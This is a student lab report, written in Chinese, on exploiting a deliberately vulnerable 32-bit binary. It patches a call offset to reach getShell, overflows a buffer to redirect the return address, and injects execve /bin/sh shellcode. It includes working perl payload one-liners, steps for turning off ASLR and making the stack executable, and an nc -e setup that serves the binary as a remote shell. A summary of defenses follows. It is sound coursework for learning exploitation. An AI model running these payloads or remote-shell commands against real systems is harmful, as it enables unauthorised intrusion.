1 逆向及Bof基礎實踐說明
1.1 實踐目標
本次實踐的對象是一個名為pwn1的linux可執行文件。
該程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。
該程序同時包含另一個代碼片段,getShell,會返回一個可用Shell。正常情況下這個代碼是不會被運行的。我們實踐的目標就是想辦法運行這個代碼片段。我們將學習兩種方法運行這個代碼片段,然后學習如何注入運行任何Shellcode。
三個實踐內容如下:
手工修改可執行文件,改變程序執行流程,直接跳轉到getShell函數。
利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數。
注入一個自己制作的shellcode并運行這段shellcode。
這幾種思路,基本代表現實情況中的攻擊目標:
運行原本不可訪問的代碼片段
強行修改程序執行流
以及注入運行任意代碼。
1.2基礎知識
該實踐需要
- 熟悉Linux基本操作,能看懂常用指令,如管道(|),輸入、輸出重定向(>)等。
- 理解Bof的原理,能看得懂匯編、機器指令、EIP、指令地址,會使用gdb,vi。
- 指令、參數:掌握NOP, JNE, JE, JMP, CMP匯編指令的機器碼
- NOP:機器碼為0x90,是空操作指令,不改變寄存器和內存狀態僅消耗時鐘周期,攻擊中常作為“滑行區”輔助Shellcode執行;
- CMP:機器碼常見0x38~0x3D、0x83等(依場景定),通過隱含減法比較兩操作數,不保存結果僅修改標志位(如ZF),為后續條件跳轉提供判斷依據;
- JE:機器碼為0x74(短跳轉)、0x0F84(近跳轉),是條件跳轉指令,當前次比較結果相等(ZF=1)時,跳轉到目標地址;
- JNE:機器碼為0x75,是條件跳轉指令,當前次比較結果不相等(ZF=0)時,跳轉到目標地址;
- JMP:機器碼常見0xEB(短跳轉)、0xE9(近跳轉)、0xEA(遠跳轉)等,是無條件跳轉指令,不依賴標志位,強制跳轉到指定地址以改變程序執行流。
2 直接修改程序機器指令,改變程序執行流程
-
知識要求:Call指令,EIP寄存器,指令跳轉的偏移計算,補碼,反匯編指令objdump,十六進制編輯工具
-
學習目標:理解可執行文件與機器指令
-
進階:掌握ELF文件格式,掌握動態技術
下載目標文件pwn1,并修改文件名為自己的學號
![image]()
利用命令objdump -d pwn20232301 | more,進行反匯編。

一直按回車就會逐行顯示更多信息,直到找到main的內容

-
可以看到,main函數調用foo函數時,對應的匯編指令為“call 8048491”(見第12行),其機器指令是“e8 d7ffffff”,其中e8表示跳轉,此時EIP的正常值應為下條指令地址80484ba,而CPU執行該指令時會轉而執行“EIP + d7ffffff”位置的指令,“d7ffffff”作為補碼表示-41(即0x29),計算可得80484ba - 0x29正好是8048491
-
若想讓其調用getShell函數,只需將“d7ffffff”修改為“getShell地址與80484ba的差值對應的補碼”,通過計算47d - 4ba得到該補碼為c3ffffff,之后修改可執行文件中call指令的目標地址即可。
修改可執行文件,將其中的call指令的目標地址由d7ffffff變為c3ffffff:
(再復制一份pwd1文件,更名為pwd2301,對該文件進行操作)
vi進入pwn2301,出現亂碼,按Esc鍵,輸入:%!xxd
找到e8d7,修改d7為c3(先按i進入編輯模式再改,改完按Esc鍵退出)
輸入:%!xxd -r
輸入:wq退出


對pwn2反匯編,檢驗是否修改正確objdump -d pwn2301 | more

運行代碼將得到shell提示符

可以看到,這次修改改變了原可執行文件的功能,由重復輸出字符串改為了打開命令行,執行ls文件后,成功打印了目錄下的文件
3 通過構造輸入參數,造成BOF攻擊,改變程序執行流
3.1反匯編,了解程序的基本功能
安裝gdb:


對pwn2301h文件進行反匯編,該可執行文件正常運行時是調用函數foo。這個函數有Buffer overflow漏洞:foo讀入字符串,但系統只預留了28字節的緩沖區,超出部分會造成溢出,本次目標是覆蓋返回地址
3.2 確認輸入字符串哪幾個字符會覆蓋到返回地址
輸入1111111122222222333333334444444455555555

發現eip的值為0x35353535,即5555的ASCII碼
輸入1111111122222222333333334444444412345678

eip的值為0x34333231,即1234的ASCII碼
從中我們可以得出,輸入改字符串時,1234會覆蓋堆棧中的返回地址,CPU將會嘗試運行該被覆蓋的地址的位置的代碼,如果將這四個字符替換為getshell的內存地址輸入給pwd2301h,那么該文件就會運行getshell
3.3確認用什么值來覆蓋返回地址
在反匯編時我們已經得知了getshell的內存地址為0x0804847d
同時還要確認地址寫法,從前邊1234對應0x34333231可以得出是小端寫法
綜合以上信息,將1234處的內容替換為對應的地址,應為:
11111111222222223333333344444444\x7d\x84\x04\x08

對比之前 eip 0x34333231 0x34333231,驗證了輸入正確
3.4構造輸入字符串
顯然直接通過鍵盤輸入16進制值是不現實的,因此先生成包括這樣字符串的一個文件,其中\x0a表示回車
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
使用16進制查看指令xxd查看input文件的內容是否如預期。

然后將input的輸入通過管道符作為pwn1的輸入

至此攻擊成功,獲得了交互式的shell
4.注入shellcode并執行
4.1準備一段shellcode
- shellcode就是一段機器指令(code)
通常這段機器指令的目的是為獲取一個交互式的shell(像linux的shell或類似windows下的cmd.exe),
所以這段機器指令被稱為shellcode。
在實際的應用中,凡是用來注入的機器指令段都通稱為shellcode,像添加一個用戶、運行一條指令。
4.2準備工作
從官網下載相關的包,本地安裝execstack命令
輸入execstack -s pwn1329指令來設置堆棧可執行
輸入execstack -q pwn1329 指令查詢文件的堆棧是否可執行
輸入more /proc/sys/kernel/randomize_va_space,檢查發現randomize_va_space為2,即地址隨機化保護是開啟的

輸入echo "0" > /proc/sys/kernel/randomize_va_space關閉地址隨機化。
輸入more /proc/sys/kernel/randomize_va_space,發現randomize_va_space為0說明地址隨機化保護關閉

(為保證實驗的準確性,后續新增加文件pwn2301hh做本實驗)
4.3構造要注入的payload
-
Linux下有兩種基本構造攻擊buf的方法:
retaddr+nop+shellcode
nop+shellcode+retaddr。
因為retaddr在緩沖區的位置是固定的,shellcode要不在它前面,要不在它后面。
簡單說緩沖區小就把shellcode放后邊,緩沖區大就把shellcode放前邊 -
我們這個buf夠放這個shellcode了
-
結構為:retaddr+nop+shellcode
nop一為是了填充,二是作為“著陸區/滑行區”。
我們猜的返回地址只要落在任何一個nop上,自然會滑到我們的shellcode。
打開兩個終端,都進入root模式
終端1輸入
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
注入攻擊buf(cat input_shellcode;cat) | ./pwn1329,回車一次即可

終端2中進行gdb調試,輸入ps -ef | grep pwn2301hh,得到進程號166884

終端2執行到下圖位置時,在終端1中按下回車,此時終端1出現亂碼


終端2繼續執行info r esp

得到地址0xffffd39c
繼續執行觀察到01020304即為返回地址的位置,shellcode在其后邊,故為
0xffffd39c+4=0xffffd3a0
將計算得到的地址放進shellcode,運行代碼
perl -e 'print "A" x 32;print"\xa0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
xxd input_shellcode
(cat input_shellcode;cat) | ./pwn2301hh

運行后發現成功獲取shell,本次攻擊成功
4.4結合nc模擬遠程攻擊
該部分我參考了學長的一些做法,進行了一些嘗試,將結果記錄如下
本次實驗采用kail作為靶機,openEuler為攻擊機,二者可以互相ping通
靶機(kali)ip:192.168.78.130
攻擊機(openEuler)ip:192.168.78.129
靶機輸入如下命令:
nc -lvnp 2301 -e ./pwn20232301hhhh

攻擊機輸入如下命令:
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
(cat input; cat) | nc 192.168.78.130 2301
觀察到靶機顯示成功連接攻擊機

在攻擊機上已經可以獲取靶機的shell

5.BOF防御技術
5.1. 從防止注入的角度
在編譯時,編譯器在每次函數調用前后都加入一定的代碼,用來設置和檢測堆棧上設置的特定數字,以確認是否有bof攻擊發生
5.2. 注入了也不讓運行
結合CPU的頁面管理機制,通過DEP/NX用來將堆棧內存區設置為不可執行。這樣即使是注入的shellcode到堆棧上,也執行不了
詳見4.2的圖

5.3增加shellcode的構造難度
shellcode需猜測返回地址位置及注入后內存位置,這極度依賴應用代碼段、堆棧段每次被OS加載到固定內存地址;而ALSR(地址隨機化)讓OS每次用不同地址加載應用,使預先通過反匯編或調試得到的地址均失效。
/proc/sys/kernel/randomize_va_space用于控制Linux下 內存地址隨機化機制(address space layout randomization),有以下三種情況
0 - 表示關閉進程地址空間隨機化。
1 - 表示將mmap的基址,stack和vdso頁面隨機化。
2 - 表示在1的基礎上增加棧(heap)的隨機化。
這同樣已經在4.2的圖中體現

5.4 從管理的角度
加強編碼質量。注意邊界檢測。使用最新的安全的庫函數。
6.問題與解決
1.gdb時提示zsh:1:權限不夠
解決方法:chmod u+x pwn2301h即可
2.無法安裝execstack包
解決方法:去官網上下載相關的包并直接在本地安裝
相關命令:sudo dpkg -i execstack_0.0.20131005-1.1ubuntu1_amd64.deb
7.實驗總結與體會
本次實驗實現的流程比較常,跟著指導書基本可以完成,有一些問題需要自己去發現并解決,例如execstack無法安裝的問題等,中途出現一些錯誤時也難免心驚肉跳抓耳撓腮,不過經過慢慢調試解決后也積累了相關的經驗。實驗最重要的是通過上手實操真正理解其原理與核心。通過這次實驗,我對緩沖區溢出的原理和實驗方式不再只是浮于紙面上,而是有了更為深刻的理解,感受到了網絡攻防技術的奇妙,可謂受益匪淺。當然,我對這些技術的理解還需進一步深入,期待后續的學習!

浙公網安備 33010602011771號